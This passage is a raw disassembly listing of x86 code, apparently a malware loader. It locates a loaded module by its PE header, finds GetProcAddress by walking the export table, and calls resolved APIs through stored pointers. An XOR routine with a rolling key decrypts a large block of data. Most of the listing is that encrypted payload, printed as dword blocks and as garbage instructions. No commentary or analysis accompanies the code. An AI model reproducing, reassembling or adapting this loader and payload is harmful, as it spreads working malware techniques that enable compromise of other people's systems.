[ebx+3Ch] lea eax, [eax+ebx] cmp word ptr [eax], 4550h jz short loc_314283D3 loc_314283CB: ; CODE XREF: sub_3142829B+121j sub ebx, 100h jnz short loc_314283B5 loc_314283D3: ; CODE XREF: sub_3142829B+12Ej mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_314283E1: ; CODE XREF: sub_3142829B:loc_31428408j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_31428408 cmp dword ptr [eax+3], 636F7250h jnz short loc_31428408 cmp dword ptr [eax+7], 72646441h jnz short loc_31428408 cmp dword ptr [eax+0Bh], 737365h jz short loc_3142840D loc_31428408: ; CODE XREF: sub_3142829B+150j ; sub_3142829B+159j ... loop loc_314283E1 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_3142840D: ; CODE XREF: sub_3142829B+16Bj sub [esp+5Ch+var_5C], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_31428433+2 inc ebx insb outsd jnb short near ptr loc_31428491+2 dec eax popa outsb db 64h insb loc_31428433: ; CODE XREF: sub_3142829B+189p add gs:[ebx-1], dl setalc mov [ebp+40353Ch], eax call near ptr loc_3142844F+1 inc ebx jb short near ptr loc_314284AA+1 popa jz short near ptr loc_314284AA+4 inc ebp jbe short near ptr loc_314284B0+1 outsb jz short near ptr loc_3142848E+2 loc_3142844F: ; CODE XREF: sub_3142829B+1A3p add [ebx-1], dl setalc mov [ebp+403540h], eax call near ptr sub_3142846B inc edi db 65h jz short near ptr loc_314284AA+4 popa jnb short loc_314284D9 inc ebp jb short near ptr loc_314284D9+1 outsd jb short $+2 ; END OF FUNCTION CHUNK FOR sub_3142829B ; =============== S U B R O U T I N E ======================================= sub_3142846B proc far ; CODE XREF: sub_3142829B+1BEp var_7CC536DC = dword ptr -7CC536DCh var_4 = dword ptr -4 ; FUNCTION CHUNK AT 31428514 SIZE 0000003A BYTES ; FUNCTION CHUNK AT 3142856A SIZE 0000003F BYTES ; FUNCTION CHUNK AT 314285C4 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 3142860B SIZE 0000007F BYTES push ebx call esi mov [ebp+403544h], eax call sub_314284E9 test eax, eax jz short loc_3142849E push eax call dword ptr [ebp+403544h] test eax, eax jnz short loc_31428498 lea eax, [ebp+4011D2h] loc_3142848E: ; CODE XREF: sub_3142829B+1B2j mov dl, [eax-1] loc_31428491: ; CODE XREF: sub_3142829B+191j call sub_31428504 jmp short loc_31428514 ; --------------------------------------------------------------------------- loc_31428498: ; CODE XREF: sub_3142846B+1Bj call dword ptr [ebp+40353Ch] loc_3142849E: ; CODE XREF: sub_3142846B+10j test dword ptr [ebp+403431h], 80000000h jz short loc_314284C8 loc_314284AA: ; CODE XREF: sub_3142829B+1A9j ; sub_3142829B+1ACj ... lea esi, [ebp+403435h] loc_314284B0: ; CODE XREF: sub_3142829B+1AFj mov edi, [esp+8+var_4] movsb movsd mov ebx, [ebp+4039B2h] mov esi, [ebp+4039B6h] mov edi, [ebp+4039BAh] loc_314284C8: ; CODE XREF: sub_3142846B+3Dj pop ebp retn sub_3142846B endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_314284CA: ; CODE XREF: sub_314284E9+2p pop edx push 0 ; CODE XREF: sub_3142846B+ADj push 0 push 0 push 0 push 40001h ; --------------------------------------------------------------------------- db 8Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3142829B loc_314284D9: ; CODE XREF: sub_3142829B+1C8j ; sub_3142829B+1CBj les ebp, [edx+0] push eax push 0Ch mov eax, esp jmp edx ; END OF FUNCTION CHUNK FOR sub_3142829B ; --------------------------------------------------------------------------- aVt_3 db 'VT_3',0 db 0 ; =============== S U B R O U T I N E ======================================= sub_314284E9 proc near ; CODE XREF: sub_3142846B+9p xor ecx, ecx call loc_314284CA lea edx, [ebp+4011A1h] push edx push ecx push ecx push eax call dword ptr [ebp+403540h] add esp, 20h retn sub_314284E9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_31428504 proc near ; CODE XREF: sub_3142846B:loc_31428491p mov dh, dl mov ecx, 225Fh loc_3142850B: ; CODE XREF: sub_31428504+Cj xor [eax], dl inc eax add dl, dh loop loc_3142850B retn sub_31428504 endp ; --------------------------------------------------------------------------- db 73h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3142846B loc_31428514: ; CODE XREF: sub_3142846B+2Bj lock inc ebx fstp1 st(1) jg short near ptr loc_314284CB+1 and eax, 0E4FAAE1Bh and al, 0D7h dec edx db 3Eh xchg eax, ebp sub eax, [ebx] leave cld outsd imul edx, eax, 21EE0FF9h cmpsd into adc ah, ch sal ebx, 1 leave cmp al, 52h cmpsb push edx test ecx, ebx mov ecx, 0A5CBB90Fh push 770072DDh jl short loc_3142856A test byte ptr [edx], 0B5h retf 5975h ; CODE XREF: sub_3142846B+15Aj ; END OF FUNCTION CHUNK FOR sub_3142846B ; --------------------------------------------------------------------------- dw 7147h dd 0C00DC964h, 0C4AC2F32h, 0D5E532CAh, 64A4857Eh, 7DB43997h dd 0FC7C8EDEh db 2Fh, 13h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3142846B loc_3142856A: ; CODE XREF: sub_3142846B+DBj ; sub_3142846B+174j ... or esp, [eax-5Bh] insd loope loc_314285C4 cwde lds edi, [eax] mov ah, 0A6h inc esi jns short near ptr loc_314285A2+3 mov bh, 0CDh dec edx cmp al, 0FFh sahf adc [esp+edi*2+8+var_7CC536DC+1], eax xor eax, 128F746Ah jnz short near ptr loc_3142856A+2 ror byte ptr [ebx+11h], cl and dword ptr [edi-66h], 669A4E65h fldenv byte ptr [esi] mov edi, 0BED030CDh mov esi, 0C5976171h loc_314285A2: ; CODE XREF: sub_3142846B+10Bj mov ecx, 0F669DD41h jmp short loc_3142860B ; END OF FUNCTION CHUNK FOR sub_3142846B ; --------------------------------------------------------------------------- db 0D7h, 0D5h, 58h dd 0FB2A2EFBh, 0E0678E3Eh, 0ACD44753h, 0F505D20Fh, 4C3DD7Eh dd 0EF38D9B7h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_3142846B loc_314285C4: ; CODE XREF: sub_3142846B+103j popa jnz short near ptr locret_3142854B+1 cld loc_314285C8: ; CODE XREF: sub_3142846B+178j les edi, [esi] pop edi mov al, ds:0F9584E28h jb short loc_31428639 xlat add [ebx-7C78CD2Bh], dh jnp short near ptr loc_3142860C+1 enter 0FFFFF9B5h, 2Dh rep jg short near ptr loc_3142856A+1 std jno short loc_314285C8 test eax, 629A6C5Ch xchg eax, ebp mov edi, [edi+4814E4CEh] ; END OF FUNCTION CHUNK FOR sub_3142846B ; --------------------------------------------------------------------------- db 3Eh, 8Fh, 5Eh dd 66E79ECh, 50C438DFh, 84911AABh, 0D15DEA1Fh, 0CCBC4943h ; --------------------------------------------------------------------------- cmp al, dl cmc ; START OF FUNCTION CHUNK FOR sub_3142846B loc_3142860B: ; CODE XREF: sub_3142846B+13Cj in eax, dx loc_3142860C: ; CODE XREF: sub_3142846B+16Ej sbb eax, [ecx+45h] mov cl, 59h in eax, 72h push 73h mov dh, 31h int 3 ; Trap to Debugger aas mov dh, 25h repne or edi, [edi+20806819h] mov esp, 8917CB60h std outsd sbb eax, 0EE0E98C0h and esp, edi or eax, 2C60EC7Ah shr ecx, cl sbb edi, ebx loc_31428639: ; CODE XREF: sub_3142846B+165j adc ch, [ebp-3] imul ebx, esi, 51h sub eax, 6FE25463h imul esi, [esi-50h], 0BF28C5BFh xlat push cs mov dl, 0B4h mov ah, 67h xor [ebx+eax-4696E450h], edi mov edi, 4F57E572h or [edi-25h], ecx push 63F07BE2h setalc pop es call near ptr 0B99C74D7h add al, 0FBh imul esp, [ecx-79h], 0E095203Ah adc [ecx], edi in al, dx insb sbb ecx, eax add eax, 8451ABFBh inc esi popa dec esi mov eax, 1CA93485h or al, 0BFh ; END OF FUNCTION CHUNK FOR sub_3142846B ; --------------------------------------------------------------------------- dw 0DD8Dh dd 0BB41CE1Bh, 7FF399A3h, 985CED0Ch, 0E7A5728Ah, 61FEFFFBh dd 0B07DF9C2h, 49E113A8h, 382A62AFh, 0F624A1BAh, 6B6DBAB4h dd 0EC0C1ED6h, 79756D1Fh, 7738DB64h, 9D162AF7h, 0DC29C35Fh dd 0D9CACBACh, 8284011Ah, 0A8CD1AD4h, 0F366DB41h, 0EE2B4FF2h dd 6BBABE0Bh, 0A90B8A7Dh, 0BFCD261Ch, 48FF214Eh, 0BE361778h dd 2D35D047h, 2CEC19A6h, 38D9EBDFh, 0D01A1EABh, 2E10EEFAh dd 0FAD649BCh, 25F10FA4h, 34C14EDBh, 4700B1C1h, 286B4D77h dd 7A8ED493h, 0CF114F0h, 30BD2319h, 0FCE3DA28h, 0C83F26E4h dd 9421AE53h, 31AD100Fh, 7CB72C81h, 0CD658760h, 4709DE2Bh dd 5E75EAF3h, 0D7E9766Ah, 0A3B5281Bh, 9EC16457h, 924FB067h dd 4271A659h, 32E57296h, 0DBDB6FCBh, 14E8F5C7h, 0E3499656h dd 87EA2776h, 0AB1C497Fh, 2018B738h, 55794683h, 0B845D82Bh dd 21E271A0h, 40DD8776h, 99243683h, 0E83516C3h, 21CC2EA4h dd 804D82C7h, 0D04C99A1h, 0F0A5728Ah, 0E471FE9Dh, 0DB52A51Bh dd 0E59E656h, 24BC1486h, 42C449DEh, 851896E6h, 5369C612h dd 3830DA8Ah, 854D7EBh, 409D6A82h, 0B6499CD7h, 44A03DB0h dd 0F101CE2Eh, 7FB80527h, 5A9B4C25h, 0B2B17929h, 0B5D9EC4Ah dd 23FD8A17h, 5EAC1286h, 7AC545DAh, 0B8089812h, 0A048DD22h dd 206C7945h, 0B3C512EAh, 52C7486Fh, 2F0ABC27h, 0DC1C66D6h dd 7831010Fh, 854B18Ch, 6A8D5A92h, 335B8C73h, 0D810C2AAh dd 65D9C70Bh, 1B2A4AD7h, 0D8859F42h, 5DAAB53Bh, 94619B97h dd 0C56E8C34h, 2CF970EFh, 7D2469Fh, 84646EFEh, 0E4DD2F37h dd 0A26A305Fh, 0D75B30CBh, 9E892AEFh, 3F67B067h, 0CC2C0EA6h dd 2C25F7FFh, 1959AD17h, 0C37D0A93h, 8CAA47AAh, 0BE292716h dd 7C946EBBh, 2D03FB46h, 0B8290693h, 0E814840Fh, 11EECD7Bh dd 509D5F9Fh, 68F0F646h, 0CC01FD80h, 88C44153h, 680DDA11h dd 0B3269B5Fh, 2430CDECh, 0F71BEBEh, 98F94BCFh, 2B099622h dd 7DE9F710h, 0F1482EFBh, 6D92057Ch, 0F461C61Ah, 51CB9247h dd 49B45EEBh, 109C2AB7h, 0DC69F683h, 0A835C24Fh, 22508E1Bh dd 858A5B4h, 0A7996686h, 18E15E26h, 4AD3453Eh, 11BFD6D4h dd 5D873390h, 47F147C2h, 0B7048419h, 0F771C933h, 3AA6B420h dd 4DB120B6h, 70E272ABh, 0BE388605h, 0F95BF543h, 2E90F66Eh dd 75A422B2h, 65FF59A7h, 8A3C9212h, 0D540DE56h, 0D810E6Ah dd 30FC2DB9h, 9DEC64E0h, 0BA05871Bh, 0E744CD54h, 23ED3B74h dd 58D823A1h, 95E040FAh, 9034AA04h, 0F178D85Fh, 2EAA7667h dd 4DC123AAh, 91F366CFh, 834DBE06h, 0F878C341h, 378A269Ah dd 48D456A7h, 0A34F39E7h, 0CF39B70Dh, 8861CD47h, 208816BEh dd 45DF5293h, 0AA7962F2h, 0EC20BE36h, 0D074F342h, 23A43998h dd 48C453B7h, 0E8106FE6h, 0F235AB1Ch, 0C168F64Eh, 25AB1287h dd 7DD147DDh, 0A371BFF8h, 0D97BBE32h, 155AF34Fh, 0FD50795h dd 7DE75ADEh, 89399FEBh, 0EB39A33Eh, 1748E67Ah, 21BD2B8Fh dd 74F34BFFh, 0DC2893EFh, 0FC41A708h, 3271E37Eh, 0EA8368Eh dd 4DFC4BD2h, 0AC00B57Fh, 0D45CDB1Fh, 1889EB47h, 598E56A2h dd 7AF074DBh, 0BA0E8708h, 0D448FD47h, 1F8BE345h, 7DAB3DB6h dd 48915FD3h, 9C398B18h, 0FD5BD42Ah, 68B4FB7Dh, 62B12F96h dd 4FFA7FCEh, 0A030A015h, 0E86AB25Ah, 0DB7106Eh, 51F02FBBh dd 92E066D3h, 8755A308h, 0C44FCB4Bh, 58E1575h, 7CB935A0h dd 9DE67DEDh, 0F662AD18h, 0E36FC371h, 2EB97677h, 5BD021A0h dd 0BAB33DE8h, 0C039A202h, 0CA6DC360h, 19801E96h, 4DC34ABFh dd 95097FF5h, 0EF499710h, 0E153D64Ah, 3DB50B97h, 73AD5FAAh dd 9C1C63FFh, 0CB3C815Fh, 0D07CFB5Fh, 4B8079Eh, 70C070ACh dd 851C56EAh, 0DA14CE3Eh, 0D67DFB4Ah, 3AE039Ah, 74CC74D9h dd 8D27FEEEh, 0D148BE25h, 1065D74Fh, 1FD50180h, 71D547C9h dd 850193C1h, 0ED4D8853h, 0B70F87Bh, 2DA30E9Fh, 75F143C1h dd 881A93E4h, 0C650A920h, 3775C01Bh, 34AC3F95h, 60F060D6h dd 0AC2BF21Ah, 0C554CC08h, 2ADEF63h, 4FAC358Ch, 7CDB22DCh dd 0B5049C38h, 0D27DDF33h, 1F9CE57Ch, 38BD17ACh, 76D26AE5h dd 0B5298B12h, 0E84AD310h, 689BED66h, 558C3A95h, 65E44CD7h dd 9F3FA904h, 0F151D15Ah, 2AF11064h, 55CD05A3h, 90E050CDh dd 0BC1BE20Ah, 0FA44DE74h, 3820857h, 78CA35B6h, 96E079F0h dd 9425906Bh, 0F569C545h, 35BF0260h, 49C036BDh, 99E443F7h dd 0C034A808h, 0FE4ED27Dh, 0E800696h, 51C54CA2h, 953066F6h dd 0C53BB90Eh, 0E461F02Fh, 378800AEh, 73C85EA8h, 821074E7h dd 0F92A8638h, 0D778ED45h, 3EB41883h, 4FFE36A4h, 890151CEh dd 0C434BA29h, 0EF61F927h, 23AA0380h, 6CC059DCh, 8A1E9D8Bh dd 0C45EAF39h, 86CF123h, 3CA60D87h, 75CF57D9h, 926D9FEAh dd 0AC4FA536h, 1C6BF76Ch, 27BE2DEBh, 10E94FDCh, 0B91D98CAh dd 0DC50AC3Dh, 76EE258h, 2EAC1282h, 0CFC4AD7h, 0BD119C36h dd 0D054D039h, 3389EF50h, 59A7388Ch, 6CF056CCh, 0A0009A28h dd 0CE64BA22h, 28BE367h, 488A26BAh, 4D070CEh, 0B529843Eh dd 0E84CD831h, 690F240h, 75AD3C8Eh, 74E353A7h, 0A9379416h dd 0F940E04Bh, 898386Fh, 74FC4AB2h, 0B5D957F5h, 8C7BD05Ch dd 0C621E277h, 0CAE1D62h, 67DC35BCh, 0AA856BFAh, 0B41EB90Eh dd 0F556C452h, 1D91337Ah, 4FD010CFh, 86E47BCAh, 0AC2C8C1Eh dd 0F45CC346h, 3DB772BEh, 50D46DACh, 85116BC1h, 0FD319306h dd 8DFC212Fh, 3CB0A6D0h, 0C8AD3AC7h, 0EF5D4A1Eh, 0BD2FD235h dd 0EE42CE7Ah, 11E1F2h, 48F9E248h, 0BA2442E5h, 44D43108h dd 30DDA12h, 0D9266A37h, 18E5074Bh, 27793A08h, 1B84700h dd 4F09D636h, 48BF3210h, 815E20D1h, 0E02DCF23h, 283606D6h dd 7805928Fh, 2D1F36BBh, 0C4162AB7h, 10E2F6E9h, 0A85D8225h dd 1E019E1Bh, 40A708E5h, 0CF0E8DBh, 8965987Fh, 31CEEE18h dd 70BDBFF3h, 0A9360FBCh, 8D51793h, 881511FEh, 0B5A537CCh dd 601A8653h, 28C5C752h, 0D5921EEBh, 2A2B920h, 0A9FD33C8h dd 0E778824Fh, 34C16D4Fh, 0FF724E4Fh, 24DC6D8Ch, 1525F20Ah dd 64D29F84h, 0CFFEA2D7h, 7902E95Ch, 0C815D7B7h, 0B7C921B6h dd 52057A07h, 0A746B92Ch, 0B8B0CE1Ah, 0B0915B6Bh, 6592273Ch dd 0B4E97620h, 0D74ABDD2h, 37DEC910h, 0C04D3232h, 0D44A633h dd 18FF6612h, 0A9780DCBh, 0B060A412h, 0ED1D8763h, 0D944F27Eh dd 618DFB04h, 242A3A87h, 0D0ECF9B7h, 0E545926Ah, 0D1119AE9h dd 50DD6A1Fh, 0F1286BC3h, 0E83518CCh, 21CC3131h, 804D8029h dd 6C1434A3h, 188F329Bh, 827D3A08h, 0AA694F90h, 5CC49663h dd 5283E728h, 14852EFBh, 2330FAADh, 0AD53C739h, 0BFAA1E0h dd 0C1C4A1EFh, 786D5E77h, 0DC69F688h, 0AB6E12C4h, 0C18CB24Bh dd 408D4095h, 0D959C38h, 52EEF27Fh, 0A431BF43h, 0BBD67214h dd 0CF02DD83h, 0DE14309h, 3F940C3Ch, 0AFEA3985h, 3F2D0D44h dd 6C959E54h, 56C05EC1h, 45A2151Dh, 9C6983B3h, 0E3F9468Ch dd 74F43A4Eh, 835A31A7h, 0CB9EE199h, 98CDB255h, 0A7F22982h dd 0D8E550BDh, 0FC8916AAh, 6234A0E2h, 645467C5h, 267813C4h dd 29B906E5h, 0BA8D1A1Bh, 0F2174BE2h, 72EAAA77h, 5C0123C0h dd 75B542CFh, 0EF88E31Ah, 5DC6DA27h, 8C599079h, 50C10E7Ch dd 9D3531CBh, 717D0A97h, 0BC4BDE8Fh, 8C7DF62Fh, 0ABE16EFAh dd 6098AA52h, 61858D93h, 0B941F6DBh, 0EE419E2Bh, 50D982F7h dd 4EFF36C3h, 172202DBh dd 0F47442CEh, 0DC4A927h, 4CD86264h, 72F463BFh, 0E51BAF89h dd 0B03DCA3Fh, 0E9F6C463h, 489557B3h, 6057AB2Dh, 8839AADCh dd 0AC39C757h, 5CB16D48h, 44D15CCBh, 26B5BF48h, 5930F6C3h dd 4B23B68Fh, 0A08ADE0Fh, 119F5A8Dh, 996670E4h, 0D825C7B3h dd 0D1F13B12h, 0E502DCC7h, 3C8963DFh, 5AD17522h, 8C25842Ch dd 0A1292DCAh, 5F528613h, 61D5381Fh, 54C1B558h, 800DBA27h dd 9D6E413h, 68B5B76Bh, 36C98A5Ah, 74721AA7h, 59A6EE57h dd 98658427h, 7C648158h, 6DBD0AE1h, 7C891261h, 0C920E851h dd 10AC257Dh, 83ED3A12h, 2C2CCBCAh, 0FB85528Fh, 16AE88BAh dd 18126AB3h, 5CE9771Ch, 29A5C6C0h, 0CA010E9Bh, 865DAF5Dh dd 831998B3h, 58E4737Bh, 48FBECBh, 713BFBE2h, 0F200865Dh dd 357D768h, 55A7A834h, 71631188h, 0BA2806F9h, 0A8D02D0Ch dd 0DD11DE1Dh, 0D5D2ABCCh, 1CA9361Ch, 0F5D78702h, 0B42BCE1Bh dd 800D964Fh, 0B38A36F3h, 5893222Ah, 0E47DC38Bh, 3532CA57h dd 7C09969Ch, 48D5D306h, 449FAFBBh, 0EF3BB3D5h, 0AC3963D6h dd 70C3111Fh, 4BDC6247h, 109DB333h, 0A949CA83h, 92096EBCh dd 748D0B14h, 4D605AE7h, 2CB90693h, 0BD02D342h, 84ECB3Fh dd 0C88AA2Bh, 1C362862h, 7DE156C7h, 0D71F6F0Ah, 8F028037h dd 2B3FEE66h, 9CA5220h, 4B60E11h, 82BF1D77h, 0A99523BCh dd 0A8C6824Fh, 64911E8Bh, 8D134Fh, 0BB36A273h, 0F94ADE51h dd 0F10E7E6Fh, 30FD7CF7h, 0CAFDD626h, 4DDC2B5Ch, 94619871h dd 62ED1256h, 7DE8C6D3h, 6D7A42C9h, 0C411E84Fh, 8B1E3FBAh dd 6FB97643h, 78E41606h, 0BD05FC9h, 8078B6F2h, 0A81D2133h dd 6DD9E700h, 0E7493E8Bh, 0E50A8717h, 4548D623h, 0CE5AF1ECh dd 6A039AFh, 49E06682h, 9F1674F0h, 0E431B430h, 0E07FF77Ch dd 0CAE1D98h, 6EDB4380h, 0BE016CEAh, 0DD32BC3Eh, 0C551F448h dd 23B5168Bh, 18D757CDh, 83039FDFh, 0DF75BE32h, 7E09E250h dd 1D259DEFh, 6471A1C9h, 891595F5h, 0DE50E83Eh, 1464F57Ch dd 6AA8268Ah, 5E9D46C7h, 0FC22B5CAh, 0D850A121h, 156DEA76h dd 59E0FEDh, 3CEA06E1h, 0E850C24Dh, 841F9E7Ah, 5DC7AA39h dd 728019A9h, 61E3048Fh, 0DE149A09h, 0A02D5212h, 0EDA48613h dd 78D8E632h, 7314D8ABh, 0D05DAA62h, 0A9BD23BCh, 8034824Fh dd 5EFD3AC4h, 503891B9h, 9559A646h, 0ED0B8E93h, 5A701821h dd 13C85728h, 0CAC9AB2Eh, 0BEDEE22Fh, 0F284F939h, 0A68F7A2h dd 0A3B906E0h, 0B8B6821Ah, 82D8246Bh, 6E5326CDh, 0BEE8C7F8h dd 0A5F6A900h, 0B494BF1Eh, 0C0278A67h, 19E6A859h, 58A5475Bh dd 2C954248h, 18567F93h, 0BC49D667h, 8856E47Ch, 6169FB04h dd 68453A87h, 486F96Fh, 0B845D258h, 0DB52D878h, 0AFDD39B8h dd 5C9CBE56h, 1444EA8Fh, 0E2A931A4h, 7FF265D4h, 0CCA657Eh dd 18AEDABFh, 0B724FE8Bh, 820E9812h, 3045D20Dh, 0D4409DEFh dd 0FCA16E8Eh, 0E06DFA8Dh, 0DE49B524h, 1E71FC76h, 0BB815EAAh dd 50A86222h, 88EC7F83h, 0A735827Ah, 948C032Ah, 0C9CD1AFFh dd 4CAF6036h, 4D9AA37Fh, 0A4718BD7h, 70F9E284h, 894456E3h dd 8D53A42h, 0F8DC6322h, 482DFA71h, 930670C5h, 5F4095B9h dd 0FB915EB6h, 0B9F86987h, 9C29F65Eh, 75D21782h, 60914E9Bh dd 0E71BCDh, 0CC5B8E21h, 0DDA323Fh, 64B1483Bh, 45E78A52h dd 0A6049B81h, 9A55A272h, 21ACA851h, 60AD6760h, 7CE91087h dd 6D7A40CEh, 0C411E85Fh, 0BC88556Fh, 9AE93635h, 688D0F4Ah dd 0F8690E9Bh, 974DDA67h, 0C75AE960h, 1CCB40CCh, 0DBB17287h dd 0B0489602h, 0BB214563h, 515A22Fh, 14F92A4Eh, 9D2063C7h dd 0EC39336Fh, 47B383B7h, 841D76D4h, 198A6AF7h, 59E77F8Dh dd 0A4312CDBh, 21BECE17h, 804DAFBBh, 0C8D6A676h, 18A53358h dd 0E4749618h, 5B0CA57h, 7C498EA1h, 5068EFB6h, 0FCA16E8Dh dd 1F920C9Dh, 9A257BD0h, 7705925Fh, 44D09C6Fh, 8071ABB7h dd 8869F682h, 0A834C327h, 8894711Bh, 0C1CD1AD2h, 0C98B677h dd 0CEEA27Fh, 5B63BE21h, 30CB9682h, 6509D3E3h, 80FD2FDAh dd 2B61EE68h, 0E01806D2h, 0EF1B6D13h, 78D83B62h, 2DE41EABh dd 0CD306FFAh, 6379B603h, 28C38A9Ah, 3B01CBDBh, 8C2123h dd 0C0196D73h, 0A8DAB2B4h, 7998FB84h, 0B57B4A97h, 0FCC92EEEh dd 0A255886Eh, 6B23C43Ah, 20DB6E92h, 0D341C5D3h, 0F9979690h dd 49C2DE6Bh, 0D000CFA2h, 0EF91C03h, 2C20BD9Ch, 71814EADh dd 32C8D5A7h, 119A633h, 18F8F442h, 0CCB98FCBh, 0F82F02Bh dd 0BC49420Bh, 6E3EFC2Fh, 0C55A72h, 1535AF38h, 51F406D3h dd 0B805CFCBh, 19F99F9Ah, 0DB22950Dh, 0DDB91287h, 0AC7E0A6Fh dd 5480CA7Fh, 0A449912Fh, 493136FBh, 3DA532BFh, 0E409C8A5h dd 0E4A83500h, 0FF09D616h, 0F136E2Bh, 812C0EBDh, 0E02DE706h dd 8D51C639h, 2A05921Fh, 5444A1B8h, 9D9D6A81h, 8B7DD2FFh dd 9D6D57B0h, 70C78E5Bh, 2A8D50DFh, 5FCE76B3h, 0EE756780h dd 4232BE0Bh, 6D5F379Ah, 3CA356A3h, 8952EC7h, 2B32B97Bh dd 0E01BAAD2h, 6CF5BB13h, 75B052DFh, 32DFAB26h, 5DD0EA37h dd 9C698E0Eh, 689F4C24h, 0CB92188Ah, 40BB1632h, 0CCA16573h dd 13B49D41h, 2A44F3F5h, 80BD0AE1h, 8927E4AEh, 30BD827Fh dd 0F5DE51C1h, 690E6D75h, 0C7B8315Eh, 0D34A9975h, 8AEC53A5h dd 631DEA01h, 0B71EF1A7h, 0BD4A1176h, 0F4C1389Bh, 0D53A67E7h dd 0F818A673h, 2DD51AD5h, 0B14E3ECBh, 0F03D3F2Bh, 84046BE3h dd 0FC15A26Fh, 3D64A9EAh, 20AD7ADAh, 2A790693h, 0F87D9FDAh dd 0D2F89E2Bh, 97229509h, 5CBCB646h, 0E875028Fh, 0B08393DBh dd 0CF079727h, 23B608D3h, 7ECA12D1h, 821892ABh, 0FF1DEB32h dd 1160E203h, 27A1428Ah, 78C44D9Bh, 811F98E2h, 0A118A327h dd 5825B215h, 649E7ECBh, 7DF05FC4h, 0BB4984E6h, 0CD51B02Eh dd 7E0CAF75h, 25A13FB5h, 69F552DDh, 0A109810Ch, 0D450D66Bh dd 11DDF367h, 59E9328Dh, 6BF052D7h, 0A00F8F0Fh, 0D45E9A6Bh dd 59DE872h, 18FF35B1h, 539B1386h, 0B83E9E16h, 0BC4ED82Ah dd 4899EE6Eh, 14B82FBFh, 20E974C6h, 0A43E8F1Dh, 0FE059E4Bh dd 2D10C64h, 5ED823A5h, 0B5A965C7h, 0A134954Fh, 9E2C944Fh dd 12881250h, 5ED866B6h, 97FC32FAh, 0A271F21Eh, 0FE78C345h dd 7CD60567h, 4DD82D8Ch, 80C82EBAh, 0E03EB347h, 0E974CF47h dd 2CAC52DEh, 48914DECh, 0D1187EF6h, 384DDC6Eh, 0F1F892E8h dd 0DB6212Fh, 0ECF1006Ch, 0BE31C4FFh, 0AC569268h, 90388E8Dh dd 0DB447A51h, 0E5C3ED46h, 0F70062E1h, 1906E1ADh, 7AE8F8BEh dd 8DA74142h, 0ABF728CCh, 0E4712633h, 0B03DCA57h, 7C099623h dd 48D562EFh, 14A12EBBh, 0E06DFA87h, 0AC39C653h, 7805921Fh dd 44D15EEBh, 109D2AB7h, 0DC69F683h, 0A835C24Fh, 74018E1Bh dd 40CD5AE7h, 0C9926B3h, 0D865F27Fh, 0A431BE4Bh, 0F0A88A17h dd 0BFA9397Ch, 48AC840Ah, 71E2EE7Bh, 0A06D83EDh, 2F4E8913h dd 2096DFCBh, 2DAA9A4h, 94D63A74h, 0DE029267h, 53ECF003h dd 20B24699h, 2B99582Ch, 59D0EA31h, 98658B99h, 5D5BFB82h dd 35564A97h, 1EA1D420h, 0CC9783B6h, 63A4263Bh, 88ED3A25h dd 2CB946B7h, 0F8850DF7h, 0E0D4536Bh, 0C91DEA15h, 509D6E3Ah dd 0CAB1824Ch, 7A04F16Ch, 34D9A5Eh, 11A7FC4h, 58A55008h dd 544E2E28h, 737D856Bh, 4AABD28Bh, 0AA313FA6h, 6E626EBBh dd 0BA84EC7h, 0FC0B05A1h, 0E0B99CD2h, 0BE92C070h, 0AFD91EF7h dd 0E3AADDF1h, 0BF9D12FDh dd 9FBE31A4h, 2A80B1E9h, 14D926CAh, 0DB9179BCh, 0DDE37B04h dd 35FACA17h, 7C49AFADh, 48D562EFh, 14A11253h, 6EE87187h dd 4439866Ah, 87FA656Ah, 44D14603h, 9E20A9B7h, 0DC69B6BAh dd 35BCCA3Ah, 7441ACBBh, 0CD32C60Ch, 0CD91F3Dh, 4AE07DBCh dd 2D31FE72h, 30C40482h, 3CCABEE3h, 0C1A622AFh, 54F265B8h dd 0F22DBA47h, 93076BFBh, 92505120h, 7915E92h, 0DC2769A1h dd 9BADB943h, 0EBF5820Eh, 3BC15EA1h, 8DE723h, 0C01B6D73h dd 66ED5A6Fh, 0E1F281F4h, 30FD737Dh, 76D9D0A0h, 0C8AC6267h dd 6DA1B74Fh, 20EE0E29h, 6432B738h, 2764939Eh, 458E01B4h dd 0DC51EECEh, 5050303h, 0D1368AE4h, 430E0161h, 0A64DDA67h dd 0BFE7DEB2h, 0F3607DCDh, 72B13ECBh, 857D3014h, 0AC035D66h dd 829EA0C4h, 0BCB09FF8h, 0DF52C4B5h, 0D5D3B390h, 3DE8D21Fh dd 8BEAE6EBh, 50DDEE73h, 0B61CC9C3h, 0B87542B6h, 4BBF9BB3h dd 2A8899D8h, 0C3D926CAh, 589C983Ah, 0C075FD8Bh, 0B2FD4904h dd 0CA064D10h, 0C8C781E7h, 0D5F20E72h, 0C969DEA3h, 0A010E24Fh dd 9345C93Bh, 4B2ADF02h, 64409160h, 749277BDh, 0DCEEAC0Ah dd 2DFA0F2Dh, 3432FBDCh, 0DA62A79Dh, 0ACC9475Dh, 37CA3F6Dh dd 40ED2FEh, 4132D7FDh, 7C667A46h, 929A6F6Dh, 0D4CC9F78h dd 5C02071Dh, 4C2477E0h, 9604E1ADh, 8B5DAA4Eh, 63D6C7AAh dd 0AA76DCF0h, 0CA2EA7CFh, 24EE558h, 2401E219h, 67DA442Ah dd 4020EB83h, 88DB4A97h, 1E8B0E92h, 0CA5606AFh, 0FE8AC8D9h dd 9A052201h, 0AF46B926h, 29021A5Dh, 2C09DB01h, 6FE25FDAh dd 2FEA8C83h, 2AE5F2C4h, 0B4A5DF1Eh, 0E7A67067h, 2641CE59h dd 2DE6887Fh, 0CCA08ED3h, 0F82FF5Ah, 0BC49D7DBh, 0FCC7262Fh dd 0AA01BFF6h, 0CB5BD10Dh, 0EC79BE96h, 5AEE525Fh, 399C5D94h dd 